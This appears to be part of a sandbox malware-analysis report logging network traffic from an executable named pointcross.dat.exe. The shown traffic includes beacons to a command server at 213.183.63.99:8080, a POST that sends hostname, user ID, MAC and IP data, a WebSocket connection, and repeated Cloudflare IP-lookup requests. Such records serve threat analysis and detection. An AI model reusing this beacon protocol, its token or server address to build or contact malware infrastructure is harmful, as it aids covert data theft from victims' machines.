              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 34 33 33 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076433}
              Nov 27, 2023 10:13:55.190088034 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:55 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:58.191363096 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:13:58.394511938 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:58 GMT
              Content-Length: 0
              Nov 27, 2023 10:13:59.242018938 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 34 33 37 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076437}
              Nov 27, 2023 10:13:59.449899912 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:13:59 GMT
              Content-Length: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              1192.168.2.449731213.183.63.9980806684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              Nov 27, 2023 10:11:57.761039019 CET444OUTGET /client HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Connection: Upgrade
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Sec-WebSocket-Key: k8psyLMnFZs8POXNEVOcXQ==
              Sec-WebSocket-Version: 13
              Upgrade: websocket
              X-Client: ec:f4:bb:ea:15:88
              Nov 27, 2023 10:11:57.968113899 CET183INHTTP/1.1 101 Switching Protocols
              Upgrade: websocket
              Connection: Upgrade
              Sec-WebSocket-Accept: Z6VfA5UfamgdmfBCGnqBVkuZVTU=


              HTTPS Proxied Packets

              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              0192.168.2.449730104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:11:57 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:11:57 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 31 3a 35 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 33 66 32 38 32 39 35 31 30 36 32 63 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:11:57 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c93f282951062c-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:11:57 UTC217INData Raw: 64 33 0d 0a 66 6c 3d 35 37 33 66 36 31 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 33 31 37 2e 34 36 33 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d3fl=573f61h=cloudflare.comip=89.149.18.60ts=1701076317.463visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:11:57 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              1192.168.2.449733104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:11:58 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:11:58 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 31 3a 35 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 33 66 32 65 32 66 35 34 35 37 31 36 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:11:58 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c93f2e2f545716-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:11:58 UTC217INData Raw: 64 33 0d 0a 66 6c 3d 33 35 34 66 31 39 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 33 31 38 2e 34 32 37 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d3fl=354f19h=cloudflare.comip=89.149.18.60ts=1701076318.427visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:11:58 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              2192.168.2.449734104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:12:02 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:12:02 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 32 3a 30 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 33 66 34 37 31 61 34 37 38 32 65 37 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:12:02 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c93f471a4782e7-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:12:02 UTC223INData Raw: 64 39 0d 0a 66 6c 3d 34 31 33 66 34 32 31 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 33 32 32 2e 34 31 38 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 30 31 30 2d 74 69 65 72 31 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d9fl=413f421h=cloudflare.comip=89.149.18.60ts=1701076322.418visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=010-tier1http=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:12:02 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              3192.168.2.449735104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:12:06 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:12:06 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 32 3a 30 36 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 33 66 35 66 64 63 61 64 30 39 34 30 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:12:06 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c93f5fdcad0940-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:12:06 UTC217INData Raw: 64 33 0d 0a 66 6c 3d 31 36 66 31 31 38 31 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 33 32 36 2e 33 38 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d3fl=16f1181h=cloudflare.comip=89.149.18.60ts=1701076326.38visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:12:06 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              4192.168.2.449736104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:12:11 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:12:11 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 32 3a 31 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 33 66 38 30 64 66 36 33 30 38 33 36 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:12:11 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c93f80df630836-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:12:11 UTC218INData Raw: 64 34 0d 0a 66 6c 3d 36 32 36 66 32 30 32 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 33 33 31 2e 36 35 37 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d4fl=626f202h=cloudflare.comip=89.149.18.60ts=1701076331.657visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:12:11 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              5192.168.2.449740104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:12:15 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:12:15 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 32 3a 31 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 33 66 39 39 62 66 38 33 35 61 32 38 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:12:15 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c93f99bf835a28-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:12:15 UTC216INData Raw: 64 32 0d 0a 66 6c 3d 33 35 30 66 38 34 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 33 33 35 2e 36 34 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d2fl=350f84h=cloudflare.comip=89.149.18.60ts=1701076335.64visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:12:15 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              6192.168.2.449743104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:12:19 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:12:19 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 32 3a 31 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 33 66 62 32 38 39 39 39 35 38 30 33 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:12:19 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c93fb289995803-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:12:19 UTC222INData Raw: 64 38 0d 0a 66 6c 3d 31 36 66 37 34 38 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 33 33 39 2e 36 30 34 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 30 30 35 2d 74 69 65 72 31 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d8fl=16f748h=cloudflare.comip=89.149.18.60ts=1701076339.604visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=005-tier1http=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:12:19 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              7192.168.2.449744104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:12:23 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
